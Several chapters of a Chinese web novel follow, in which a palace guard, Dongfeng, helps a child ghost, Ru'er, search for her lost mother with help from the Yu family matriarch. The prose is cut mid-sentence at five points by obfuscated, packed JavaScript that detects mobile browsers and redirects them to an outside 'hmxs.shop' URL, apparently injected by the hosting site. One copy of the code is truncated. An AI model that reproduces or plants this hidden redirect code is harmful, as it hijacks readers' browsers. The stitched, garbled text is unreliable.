“咳,行了行了,少拍马屁!走吧,趁现在天色晚,你赶紧找那个傻大个儿去!能不能说动他帮你,可就看你自己的本事了!” “嗯!”茹儿用力地点点头。 …… 小花心情颇好地一蹦一跳往回走,嘴里还哼着不成调的小曲,刚走到连接前后院的小亭子,就听见林小满带笑的声音响起: “哎哟喂,咱们小花姑娘这是遇到什么天大的高兴事儿了?嘴角都快咧到耳根子了。” 小花扭头,看见林小满正倚在亭柱旁,似笑非笑地看着她。 她瞥了一眼林小满的神色,见并无不悦,便乐呵呵地凑过去,得意道: “没什么,就是做了一件助‘人’为乐的好事,心里舒坦,当然开心喽!” 林小满挑了挑眉,语气带着几分了然和戏谑: “助‘人’为乐?是助‘鬼’为乐吧?你也真是胆大,就不怕东风那傻小子突然见到茹儿,直接被吓晕过去吗?他可是个实打实的普通人,没见过这阵仗。” 小花闻言,摸了摸下巴,眨巴着大眼睛,语气有点不确定: “额……应该……不太会吧?东风好歹也是上过战场的人,胆子……应该没那么小……吧?” 她越说声音越小,显然也有点没底。 第二百零八章 差点没吓死 在心里,小花默默地对东风道了个歉:对不住啦东风兄弟,万一你真被吓晕了,姐姐我大不了辛苦跑一趟,给你收个尸……啊不是,是给你叫个魂儿! …… 与此同时,靖安王府前院侍卫住处。 东风今日不用值夜,舒舒服服地洗了个热水澡,只披着一件单薄的外衣,打着哈欠就往床边走。 他刚躺进被窝,就忍不住打了个哆嗦,下意识地紧了紧被子,喃喃自语道: “嘶……奇怪,今天怎么这么冷?阴风阵阵的,莫名其妙。” 他翻了个身,调整了个舒服的姿势,正准备进入梦乡,迷迷糊糊间,却感觉好像有什么冰凉的东西,轻轻拍了拍他的肩膀。 “谁?!”东风一个激灵,猛地从床上坐起身来,睡意全无,手下意识地就往枕边放着的刀剑摸去。 借着从窗户透进来的惨淡月光,他定睛朝床边看去。 只见一个穿着破旧衣裙、面色惨白的小女孩,正静静地站在他的床前。 这还不是最吓人的,最恐怖的是,那小女孩的双眼、鼻子、嘴角、耳朵……七窍之中,正缓缓流淌着暗红色的血迹!而她,正朝着他,咧开一个极其僵硬、极其诡异的大大的笑容! “鬼……鬼啊!!!” 就算是东风见多识广,跟着裴昭闯过江湖,在战场上杀过无数敌人,自认胆气过人,可这大半夜在自家床上猛地见到一个七窍流血、对着你诡异微笑的小女鬼,还真是破天荒头一遭! 这视觉冲击力实在太强,远超心理承受范围! 他只觉得一股寒气从脚底板直冲天灵盖,头皮瞬间炸开,心脏像是被一只无形的手狠狠攥住,连惊呼都只发出半声变调的嘶吼,眼前一黑,很没出息地直接吓晕了过去,直挺挺地倒回了床上,不省人事。 茹儿看着瞬间晕厥的东风,脸上那刻意维持的、想表达友好的大大笑容僵住了,她茫然地眨了眨流血的眼睛,无辜地歪了歪头,似乎不明白这个看起来很厉害的侍卫哥哥,怎么这么不经吓。 约莫一炷香的功夫后。 东风是在一阵清脆的“啪啪”声和脸颊火辣辣的疼痛中恢复意识的。 他迷迷糊糊地睁开眼,就看到那个七窍流血的小女鬼正飘在他床边,抬起的小手还没来得及放下,刚才就是她直接用物理方式把他给扇醒了! 他摸了摸自己左右两边又痛又麻、明显红肿起来的脸颊,欲哭无泪。 “你……你……”东风捂着脸,惊魂未定地看着茹儿,声音还有些发颤。 茹儿见他醒了,连忙收回手,怯生生地往后飘了半步,小声解释道: “对……对不起,东风哥哥,我叫了你好多声你都不醒,小花姐姐教我的,说如果叫不醒可以试试……拍拍脸……” 东风:“……”他这是造了什么孽! 他深吸了好几口气,努力平复还在狂跳的心脏,试图理清思路。 “所以……你的意思是,是小花让你来找我的?” 茹儿连忙用力点头,七窍的血迹随着她的动作似乎晃了晃: “嗯嗯!小花姐姐说你是好人,很热心,可能会帮我!” 知道是小花在后面“搞鬼”,东风心里那根紧绷的弦这才稍微放松了些,但怨气却上来了。 他长长地、带着无比委屈和无奈地叹了口气,看着眼前这吓**不偿命的小女鬼,语重心长地说道: “那小姑奶奶让你来找我……那你就不能敲敲门?或者敲敲窗?弄出点动静让我有点心理准备?为什么要这样……悄无声息地站在人家床边?我差点……我差点魂都被你给吓没了!” 直到现在,东风还是能感觉到自己的心脏在胸腔里“砰砰”狂跳,像是要撞出来一样。 这谁能懂啊!睡得好好的,一睁眼一转身,就看到一个浑身湿漉漉、七窍流血的小女孩,直勾勾地站在你床边看着你,还对你咧嘴笑! 这场景,这冲击力,换成是专门捉鬼的钟馗天师来了,恐怕也得吓一激灵吧! 茹儿被他这么一说,更加无措了,小手绞着破旧的衣角,血淋淋的小脸上满是委屈: “我……我敲了门的,可是你没听见……我就……我就直接穿进来了……我不是故意的……” 她只是习惯了作为鬼魂的行动方式,忘了活人需要更常规的提醒。 东风看着她那副可怜巴巴又确实不是故意的模样,一肚子的火气和后怕也发不出来了,只能自认倒霉地揉了揉还在疼的脸颊,认命地问道: “行了行了……那你说吧,找我到底什么事?先说好,太吓人的事儿我可不敢干……” 他算是怕了这些神神鬼鬼的了。 茹儿听他这么问,像是终于想起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598456|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正事,连忙飘近了些,虽然那七窍流血的模样依旧骇人,但眼神里充满了恳求: “东风哥哥,我……我想让你帮我找我娘亲,可以吗?我找不到她了……” 东风:“……”他就知道!跟这些东西扯上关系准没好事!找娘亲?这听起来比让他去单挑一群土匪还难搞! “你叫什么名字?全名。” “我叫茹儿。” “姓什么?” “……不记得了。” “你娘亲叫什么?” “……娘亲就是娘亲。” “你家原来住在哪里?哪个城?哪个村?” “……不记得了,只记得家门口有棵好大的枣树。” “你怎么……怎么变成这样的?还记得吗?” 茹儿茫然地摇头,七窍的血迹似乎都黯淡了些: “不记得了……只记得掉进了很冷很黑的水里,然后……然后就找不到娘亲了……” …… 第二日,顶着两个淡淡巴掌印和一双黑眼圈的东风,开始了他的“帮鬼寻亲”之路。 昨日一番询问下来,东风绝望地发现,这小女鬼对于自己的身世、家庭、甚至是如何遇害的,几乎是一问三不知! 唯一的线索就是“家门口有棵大枣树”以及大概是十三年前落水而亡。 东风此时才深刻地意识到自己昨天答应得有多天真! 他竟然指望一个连自己**、姓甚名谁都不知道的小孩子鬼魂,能提供出寻找十三年前失散亲人的有效线索? 这根本就是大海捞针,不,比大海捞针还难!针好歹知道是根针,他这连针长什么样都不知道! 东风不禁想给自己昨天被吓晕后刚刚清醒、不够灵光的脑袋来上一巴掌!他怎么就一时心软答应了呢? 他现在无比想立刻冲到林府,找到罪魁祸首小花,揪着她的衣领好好数落一顿: 你们那么神通广大,抬抬手就能让鬼魂显形,挥挥手就能让恶棍灰飞烟灭,找个人对你们来说不是轻而易举吗?为什么偏偏要把这种不可能完成的任务丢给我这个普通的侍卫?这不是存心折腾人吗! “唉——”东风长长地、充满了悔恨和无力感地叹了口气,看着眼前飘着、依旧用期待眼神望着他的茹儿,只觉得一个头两个大。 这忙,他可怎么帮啊? 第二百零九章 借力打力,迂回前进 东风打着一把油纸伞,一脸茫然地坐在城南旧街的屋檐下,看着来往稀疏的行人,只觉得迷茫不清。 茹儿乖乖地跟在他旁边,学着东风的样子,坐在了冰凉的石阶上。 她抬起那张写满无辜的小脸,望向愁眉不展的东风,小声问道: “东风哥哥,你……你行不行啊?” 东风:“……” 他被这话噎得差点一口气没上来。 男人怎么能说自己不行呢?!尤其是在一个小女鬼面前! 他立刻挺直了腰板,强行挤出一个自信满满实则心虚无比的笑容,拍了拍胸脯,嘴硬道: “开玩笑!就没有我东风解决不了的事情!如果有……” 他顿了顿,想到了自家那位神通广大的主子,底气瞬间足了些, “那我就去找我家王爷给你解决!你就把心放回肚子里吧!” 他试图理清那少得可怜的线索,分析道: “既然你说了,你有记忆开始就一直是待在俞府附近,从未远离,那说不定你和俞府就是有关系! 我已经派人去悄悄打听十三年前俞府有没有走失或者……嗯……出事的小女孩了。这是目前最明确的线索了。” 茹儿似懂非懂地点点头,但看着东风那明显带着黑眼圈和愁容的脸,以及在这雨中漫无目的坐着的模样,她犹豫了一下,还是小声提议道: “东风哥哥,如果……如果实在不行的话,要不……我们还是去找小满姐姐和小花姐姐吧?她们那么厉害,兴许……兴许有办法呢?” 她虽然害怕被拒绝,但更不想看到东风哥哥为此这么烦恼。 东风闻言,像是被踩了尾巴的猫,立刻摇头: “不行不行!她们不是明确说了肯定不会帮你吗?尤其是林小姐,她说一不二,既然说了不帮,我们去求也没用,说不定还会惹她生气。” 茹儿的小脑袋耷拉下去,“可是……可是小花姐姐说过,小满姐姐只是说了‘不会帮我’,又没说……不准别人帮我呀……而且,小花姐姐还帮我让东风哥哥你能看见我了呢……” 她这话逻辑简单却直接,听得东风一愣。好像……是这么个道理? 林小满划下了她自己的界限,但似乎并没有阻止小花在界限边缘蹦迪? 看着茹儿那可怜又带着一丝期盼的模样,再想想自己这毫无头绪、如同无头苍蝇般的寻找,东风内心动摇了。 或许……真的可以再去探探小花的口风?哪怕只是指个方向也好过他现在这样大海捞针啊! 他无奈地揉了揉眉心,叹了口气, “唉,算了算了,走吧。我带你回林府附近转转,看看能不能偶遇一下小花姑娘……事先说好,只是问问,她要是也没办法,你可不能再哭鼻子了。”他实在是怕了这小女鬼的眼泪。 茹儿一听,立刻抬起头,那双流血的眼睛里瞬间焕发出光彩,用力地点了点头: “嗯!谢谢东风哥哥!” 东风带着茹儿刚走到林府大门附近,就看到小花正倚在门框上,手里捏着一根不知道从哪里摘来的狗尾巴草,有一下没一下地晃悠着,显然已经等了一会儿了。 她看着垂头丧气的东风和眼巴巴的茹儿,嘴角勾起一抹了然的笑意。 “哟,来啦?”小花挑了挑眉,语气带着点戏谑,“看你们这蔫头耷脑的样儿,就知道没辙了吧?” 东风张了张嘴,还没想好怎么开口,小花就摆了摆手,打断了他,直接说道: “行了,别苦着脸了。我家小满说了,她可以给你们提供一点线索,但是——” 她特意拖长了语调,强调道,“她是绝对不会跟你们跑这一趟的。如果你们按照这个线索还是解决不了的话,你们再来找她。” 这已经是林小满难得的让步了。 茹儿一听,立刻飘到小花身边,伸出冰凉的小手,拉扯着小花的衣袖,摇摇晃晃地撒娇道: “小花姐姐,你就和小满姐姐说说好话嘛~我们……我们真的没有办法了啦~求求你了~” 她仰着那张血迹未干的小脸,努力做出最可怜的表情。 小花被她晃得没办法,用空着的那只小手,轻轻摸了摸茹儿冰凉的小脑袋,语气带着点无奈,又带着点煽风点火: “臭丫头,你知不知道你旁边的东风哥哥是谁?他可是当今最厉害、最牛的靖安王爷手下的第一侍卫!本事大着呢!” 她说着,还朝东风递去一个你懂得的眼神,继续对茹儿说道, “有他帮你,你还担心解决不了问题啊?就算他解决不了,你让他去求求王爷,那还不是一句话的事儿?王爷出马,还有什么搞不定的?” 东风在一旁听得嘴角直抽搐。 这高帽戴的……他要是真那么本事,现在还用得着在这儿愁眉苦脸吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601741|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 还王爷出马……为了个小女鬼去找王爷?他怕不是嫌自己命太长! 但看着茹儿因为小花的话而瞬间亮起来的、充满崇拜和期待的眼神,东风那点男人的虚荣心和责任感又冒了出来,只能硬着头皮,干咳两声,含糊道: “咳咳……那个……小花姑娘,林小姐说的线索是……?” 小花这才收起玩笑的神色,正了正脸色,说道: “小满说,让你们去找俞府的老太君。或许,那里有她想要的部分答案。” 俞府?老太君? 东风愣住了,这也不是他这身份可以去问的人啊。 “记住啊,”小花补充道, “小满只给线索,不参与。能不能找到,找到后怎么办,就看你们自己的了。” 说完,她挥了挥手里的狗尾巴草,转身便蹦蹦跳跳地回府了,留下面面相觑的一人一鬼。 东风看着茹儿,茹儿也看着东风。 “唉,俞府……老太君……”东风喃喃重复着,虽然依旧觉得这任务诡异无比,但总算有了个具体的方向,总比之前像无头苍蝇一样乱转强。 东风带着茹儿直接来了秦府。 茹儿飘在东风身边,看着眼前陌生的府邸,歪着流血的小脑袋,疑惑地问道: “东风哥哥,我们来这里干什么呀?小花姐姐不是说让我们去找俞府的老太君吗?这里写的是秦府呀。” 东风看着秦府的匾额,脸上露出一丝高深莫测的笑容,解释道: “这你就不懂了吧?小满小姐给的线索,往往不能只看表面。俞府的老太君,那是我们能随便见到的吗?就算见到了,我们以什么理由去问十三年前一个小女孩的事情?搞不好直接被乱棍打出来。” 他指了指秦府,压低声音道:“但秦府就不一样了。秦婉秦小姐,跟咱们林小姐是好友,人也热心善良。最重要的是,秦小姐的祖母,秦老太君,年轻时跟俞府的老太君是手帕交,关系匪浅! 我们通过秦小姐,迂回地打听一下,岂不是比我们两个没头没脑地直接闯俞府要靠谱得多?” 这是他苦思冥想后,能想到的唯一一个既符合线索,又能实际操作的方案了。 借力打力,迂回前进! 茹儿听得似懂非懂,但觉得东风哥哥说得好像很有道理,于是乖乖点头: “哦……原来是这样。东风哥哥你真聪明!” 第二百一十章 去俞府 靖安王府内,裴昭整理着袖口,正准备出府,随口问向旁边的侍卫: “东风人呢?叫他过来。” 那侍卫连忙躬身回道:“回王爷,今日东风休沐,一大早便出去了。” 裴昭闻言,揉了揉有些发疼的眉间,追问道:“出去了?去哪了?” “属下不知,”侍卫老实回答, “只是早上隐约听见他在院子里嘀嘀咕咕,好像提起过俞府……也不知他是在与谁说话,神神叨叨的。” 听到俞府二字,裴昭下意识地皱了皱眉头。 东风这小子,又在搞什么鬼?怎么跟俞府扯上关系了?他休沐日不老老实实待着,跑去招惹俞府做什么? “算了,”裴昭摆了摆手,“你该干什么就干什么去,不用跟着我了。” “是,王爷。”侍卫拱手退下。 裴昭独自出了王府,径直朝着林小满平日摆摊的街角而去。 他有些事想问问林小满,或许也与近日的种种异常有关。 然而到了地方,却发现摊位空着,林小满并不在那里。 “不在?”裴昭微微蹙眉,心中那丝莫名的疑虑更深了。 …… 而此时,东风带着秦婉,已经顺利带着茹儿进入了俞府。 俞福恭敬地将秦婉几人引向了后院,又有俞老太君身边得力的大丫鬟亲自来接,将他们引到了老太君居住的院落。 院子颇为清幽,一棵高大的海棠树下,俞老太君正坐在一张铺着软垫的藤椅上,闭目养神。 她头发银白,梳理得一丝不苟,面容慈祥中带着历经世事的威严。 旁边两个穿着素净的丫鬟,正轻轻地为她打着扇子,动作轻柔,生怕惊扰了老人家。 秦婉上前几步,乖巧地行礼:“婉兒给俞祖母请安,冒昧前来,打扰您清净了。” 俞老太君缓缓睁开眼,看到是秦婉,脸上露出和蔼的笑容: “是婉丫头啊,快起来,到祖母跟前来坐。什么打扰不打扰的,你来看我,我高兴还来不及呢。” 她的目光随即落在跟在秦婉身后的东风身上,带着一丝询问。 秦婉连忙介绍道:“俞祖母,这位是靖安王府的侍卫,东风。” 俞老太君听闻是靖安王府的人,眼神微动,语气依旧和蔼,却带上了几分慎重: “哦?靖安王府的侍卫?可是王爷有什么吩咐?” 东风连忙上前一步,恭敬地行了一礼,姿态放得极低: “老太君多虑了,王爷并无吩咐。是小人今日恰巧与秦小姐同行,路过贵府,秦小姐念及与老太君亲近,特来拜望。小人护送秦小姐前来,也顺道给老太君请个安。” 他不敢直接说明真实来意,毕竟老太君年事已高,若此事真涉及俞府某些不愿提及的隐秘,贸然开口恐怕会刺激到老人家,那罪过可就大了。 秦婉自然也想到了这一层,她见丫鬟们还在旁边,便灵机一动,从旁边丫鬟手中接过团扇,亲自在老太君身旁的绣墩上坐下。 一边细心地为老太君扇着风,一边对旁边的丫鬟使了个眼色,柔声道:“这里我来伺候就好,你们先去廊下歇歇吧。” 丫鬟们会意,恭敬地退到了不远处的廊下,既能看见这边的情况,又听不清具体的谈话内容。 待丫鬟退远,秦婉一边轻轻扇着风,一边找了个话头,语气亲昵地问道: “祖母,今日天气这般炎热,您怎的还出来在树下坐着了?仔细中了暑气。” 俞老太君享受着她的伺候,眯着眼笑道: “前些日子,我那义女的女儿小满来看我,你们应当也相识吧?她说我这身子骨虚寒,合该多晒晒太阳,吸收些阳气,才是养生之道。” “小满?”秦婉故作惊讶,随即恍然,是了,小满的母亲林夫人是老太君的义女,小满自然也算是半个外孙女了。 她心中暗喜,这话题引到林小满身上正是时候, “既然是小满所说,那一定是对祖母的身体大大有益的。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605638|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这方面最是厉害不过了。” 秦婉犹豫了片刻,脸上露出些许为难又带着点撒娇的神色,轻轻唤道:“祖母……” 俞老太君人老成精,哪里看不出她有心事,用手指虚点了点秦婉的额头,笑道: “你这鬼精灵,说吧,今日来找老朽,究竟有何事?可是在家里受什么委屈了?说出来,祖母给你做主。” 秦婉立刻摇头,挽住老太君的胳膊,娇声道: “才没有呢!我在家里那可是说一不二,爹娘宠着,兄长让着,谁敢欺负我呀!嘿嘿……” 她笑了一会儿,才收敛神色,压低声音道:“不过……今日前来,确实有件事想请教祖母,而且……此事和小满也有些关系。” 秦婉看得出来,老太君对林小满很是信任和喜爱,既然如此,那就不能怪她稍微借用一下小满的名头了。 她在心里默默地对林小满道了个歉:小满妹妹,对不住啦,为了帮那个可怜的小女鬼,借你名头一用,回头请你吃好吃的! 秦婉斟酌着词句,小心翼翼地问道:“祖母,我们……我们是想来问一下,十三年前的一桩旧事。” “哦?十三年前?”老太君微微蹙眉,似乎陷入了沉思,指尖轻轻拨动着腕间的佛珠,片刻后才缓缓说道, “十三年前……俞府似乎并未发生过什么特别的大事。你要问的是哪一桩?可有更具体一些的?” 秦婉看不到茹儿,但能感觉到一股阴凉的气息紧贴着自己,她敢断定,茹儿正满怀期待又紧张地站在她身旁。 她深吸一口气,终于问出了核心问题:“祖母,十三年前,府中……可曾有一位唤作茹儿的小女孩?约莫……六七岁的年纪。” “茹儿?”老太君闻言,眉头皱得更紧了些,她仔细回想了一番,最终还是摇了摇头,语气肯定地说道, “茹儿?老身并无印象。府中孙辈、乃至家生子里,十三年前并无叫这个名字的小丫头。婉丫头,你是不是记错了?或是听岔了?” 第二百一十一章 小孩子不要多问 东风和秦婉都能感觉到,老太君这话并非作假,她的确对茹儿这个名字毫无印象。 这也就意味着,茹儿至少不是俞府中哪位主子名正言顺的女儿或者近亲,否则作为一家之主的老太君不可能会不知道。 那么,茹儿会是府中哪位仆役的家生子吗?或者……她的存在本身就是一个被刻意掩盖的秘密? 老太君见秦婉和东风神色有异,尤其是东风,那欲言又止的模样,让她意识到此事恐怕不简单。 她坐直了身子,神色严肃了几分,拉住秦婉的手,目光却扫向东风,沉声问道: “婉儿,你老实告诉祖母,你打听这个‘茹儿’,究竟是发生了什么事?可是在外面听到了什么风言风语?还是……遇到了什么……不干净的东西?” 她活了大半辈子,见识广博,隐约猜到可能涉及一些常人难以理解之事。 她拍了拍秦婉的手背,语气带着安抚和决断: “你放心大胆地和祖母说,不必有什么顾虑。只要祖母能够办得到,能帮上忙的,一定尽力而为。是不是……小满那孩子,发现了什么?” 她敏锐地将此事与林小满联系了起来,毕竟林小满的本事,她是知道几分的。 “祖母!祖母!”就在这时,院门外传来一个清亮欢快的少年声音。 秦婉回头看去,只见一个身着月白锦袍、约莫十五岁的少年郎,正小跑着进来。 他面容俊秀,眉眼间带着几分被娇养的明朗与跳脱,手里小心翼翼地捧着一个用绸布盖住的小篮子。 “祖母,您快看孙儿给您带了什么好东西!” 俞知安献宝似的凑到老太君跟前,这才注意到旁边坐着的秦婉和站着的东风,他愣了一下,脸上闪过一丝被抓到跳脱行为的赧然,连忙站直了身子。 俞老太君见到孙儿,脸上的严肃顿时化作了慈爱,笑着嗔怪道: “多大的人了,还这么****躁躁的,没看见有客人在吗?” 俞知安不好意思地挠了挠头,目光落在秦婉身上,眼睛顿时一亮,带着毫不掩饰的惊喜和真诚,朗声道: “原来是婉儿姐姐!许久不见,婉儿姐姐越发……越发好看漂亮了!” 他这话说得直白又坦荡,眼神清澈,让人生不出丝毫反感,只觉得这少年心性率真。 秦婉被他这么直球一夸,饶是她平日里爽朗大方,此刻也不由得微微脸红了一瞬,起身还礼,浅笑道: “俞世子,许久不见,你还是这般……活泼。” 俞老太君看着两个小辈,笑得更加开怀,对秦婉说道: “可不是嘛!婉儿你比知安大上两岁,他小时候可是最喜欢跟在你屁股后面跑了,掏鸟窝、翻墙头,你们俩可是咱们这条街有名的‘混世小魔王’,没少让人头疼!” 俞知安被祖母揭了老底,耳根都红透了,有些羞恼地跺了跺脚: “祖母!您说这些陈年旧事做什么?孙儿倒是没事,脸皮厚,要是把婉儿姐姐说得羞恼了,以后不肯再来陪您说话,那孙儿的罪过可就大了!” 他一边说,一边偷偷去瞧秦婉的脸色,生怕她真的生气了。 这番插科打诨,倒是让刚才因为追问茹儿而显得有些紧绷的气氛缓和了不少。 东风在一旁看着,心中暗忖,这位俞世子看起来心思单纯,或许……能从他这里旁敲侧击出点什么? 毕竟十三年前,这位世子也该有四五岁了,或许会有些模糊的记忆? 老太君显然也因为孙儿的到来心情好了许多,她笑着摇了摇头,对俞知安道: “行了行了,不说你了。你手里拿的是什么?神神秘秘的。” 俞知安立刻又兴奋起来,献宝似的揭开绸布,露出篮子里红艳艳、还带着水珠的果子: “是刚进贡来的蜜桃!孙儿特意去宫里讨来的,第一个就拿来给祖母尝鲜!” 趁着祖孙俩其乐融融的间隙,秦婉和东风交换了一个眼神。 东风感觉自己的袖子被一股力量轻轻扯了扯,他微微侧头,用只有自己和茹儿能听到的音量低声问道: “怎么了?你认识世子吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605639|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 茹儿点了点头, “嗯!我那时候在俞府醒来的时候,他还好小呢,比我还小!我看着他长大的,我当然认识啦!” 东风彻底无语了,额角仿佛有黑线滑下,在心里咆哮:谁问你这些认不认识、看着长大的事儿啊!我是问你能不能提供点有用的线索! 他强忍着扶额的冲动,耐着性子引导: “那……你‘看着’他长大的时候,有没有在他身边听人提起过茹儿这个名字?” 茹儿歪着脑袋,“唔……好像……没有诶……世子身边伺候的人换过好几拨……” 东风:“……”得,白问。 另一边,秦婉见老太君和俞知安祖孙情深,觉得继续追问茹儿之事恐怕也难以立刻有结果,反而显得咄咄逼人,便起身柔声道: “祖母,您和世子好好享用蜜桃,我们就不多打扰了,先行告退。” 俞老太君却摆了摆手,神色恢复了之前的郑重: “婉儿,你们别急着走。”她目光清明地看向秦婉和东风, “你们不是要问那个茹儿的事情吗?虽然老身对此名毫无印象,但既然你们特意来问,想必事出有因。” 她转向身边侍立的大丫鬟,吩咐道: “去,把十三年前府中所有下人的花名册,还有那几年府中登记在册的新生儿、包括家生子的记录,都找出来,仔细查查有没有一个叫茹儿的丫头。记住,悄悄地去查,莫要声张。” “是,老太君。”大丫鬟领命,恭敬地退了下去。 俞知安在一旁听得云里雾里,好奇地眨着眼睛: “祖母,婉儿姐姐,你们在找什么人吗?” 老太君拍了拍他的手,没有多做解释:“小孩子家,莫要多问。” 但她看向秦婉和东风的眼神却明确表示,她会尽力帮忙查证。 东风和秦婉心中都是一动,老太君愿意私下查阅府中秘档,这已经是极大的支持和突破了! 虽然未必一定能找到,但至少多了一份希望。他们连忙向老太君道谢。 第二百一十二章 我好像有点印象 俞知安皱着眉头,一副努力回忆的样子。 老太君见他这般模样,用手再次轻轻点了点他的额头,慈爱地问道: “怎么皱着眉头啦?可是想到什么烦忧的事情?” 俞知安抬起头,眉头依旧紧锁,有些犹疑地开口说道: “祖母,方才……你们可是在说‘茹儿’这个名字?而且是十三年前?” 秦婉一听俞知安这话,心中猛地一跳,立刻追问道: “世子,你知道茹儿?” 连东风也屏住了呼吸,紧紧盯着俞知安。 俞知安点了点头,又摇了摇头,努力组织着语言: “方才听这名字并不觉得,可细细想来,总觉得这名字很是熟悉……十三年前,那时候我也还小,大概四五岁吧,似乎……似乎身边确实有过一个叫做茹儿的小女孩,约摸六七岁年纪,比我还高上小半个头呢。” 年龄对得上!秦婉和东风两人对视一眼,心中都是一震,看来有戏! 这俞知安兴许还真知道些什么! 飘在一旁的茹儿也激动起来,她看着俞知安,带着一种欣慰的语气轻声说道, “看来……看来他幼时我帮过他,也不算是白帮……” 东风好奇地看向茹儿,用眼神询问。 触及到东风疑惑的眼光,茹儿解释道:“虽然生前的记忆我都不记得了,但是我醒来后,见到俞家二房的人经常在背地里欺负年幼的俞知安,我看不过去,不知道偷偷帮过他多少回呢…… 没想到,他的记忆里竟然还有我,看来……说不定我们生前还是好朋友呢?或许……难怪我这样连自己都顾不好的‘东西’,会想着要帮他……” 秦婉听不到茹儿说话,也看不到她,她满脸期望地看向俞知安,语气急切地问道: “”世子,那你还记得关于茹儿的其他事情吗?她是谁家的孩子?后来……后来怎么样了?你可以将你知道的事情都告知于我吗?” 俞知安被秦婉殷切的目光看得有些不好意思,他努力地回想着,手指无意识地抠着衣角: “我记得……她好像不是我们府里的人,也不是常来的客人家的孩子……她穿的衣服,有点旧,但洗得很干净。 她不太爱说话,但眼睛很亮……她好像……总是一个人在靠近角门那边的路边玩,我偷偷跑过去的时候偶尔会遇到她……” 俞知安的记忆有些模糊,他努力地回忆着,眉头越皱越紧: “有时候……有时候也会在府中的后院,厨房旁边的那个堆放杂物的角落看到她……她说她的娘亲在府里做事, 不过我倒是从来没有见过她的娘亲……她很……很安静,也很……怎么说呢,不太像其他丫头那样怕我或者讨好我……” 他努力搜寻着童年的碎片,“她总是穿着一身很破旧但干净的衣裳,怀里好像总是抱着一个……” 他卡住了,那个具体的形象就在嘴边却一时想不起来。 东风一直凝神听着,他下意识地脱口而出: “抱着一个……虎娃娃?” 俞知安猛地一拍大腿,眼睛亮了起来,连声道: “对对对!就是一个虎娃娃!红色的,有点旧,但很干净,她总是抱着不离手!东风大哥,你怎么知道?” 东风当然不能说是旁边飘着的小女鬼自带的配件,只能含糊地解释道:“呃……猜的,小孩子不都喜欢抱着布娃娃嘛,虎头虎脑的寓意好。” 这个细节的确认,让茹儿的形象瞬间清晰具体了起来!一个穿着旧衣、抱着红色虎娃娃、安静地在俞府后院角落活动的小女孩。 秦婉立刻抓住了这个关键线索,追问道:“后来呢?她为什么会突然不见了?” 俞知安被问得有些茫然,摇了摇头:“后来……后来好像就突然见不到她了。我问过身边伺候的嬷嬷,嬷嬷脸色很不好,呵斥我不许再提,说那是不吉利的孩子,让我离那边远点……再后来,年纪渐长,课业也多了,我就慢慢把这事忘了……” 他有些懊恼地拍了拍自己的脑袋,“时间太久了,我就记得这么多了。婉儿姐姐,这个茹儿……她到底怎么了?你们为什么要找她?” 老太君在一旁听着,脸色也渐渐沉了下来。 一个在府中活动的小女孩,连她这个当家主母都毫无印象,下人们却讳莫如深,这其中定然有蹊跷。 她沉声对刚刚返回复命的大丫鬟道:“查!重点查十三年前,在后院厨房附近做事的仆役,尤其是女性,看看谁身边可能带着一个六七岁、名叫茹儿、喜欢抱着红色虎娃娃的女孩!还有,去查查当年有没有什么异常的事情发生,尤其是涉及小女孩的!” “是!”大丫鬟神色一凛,再次领命而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611696|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 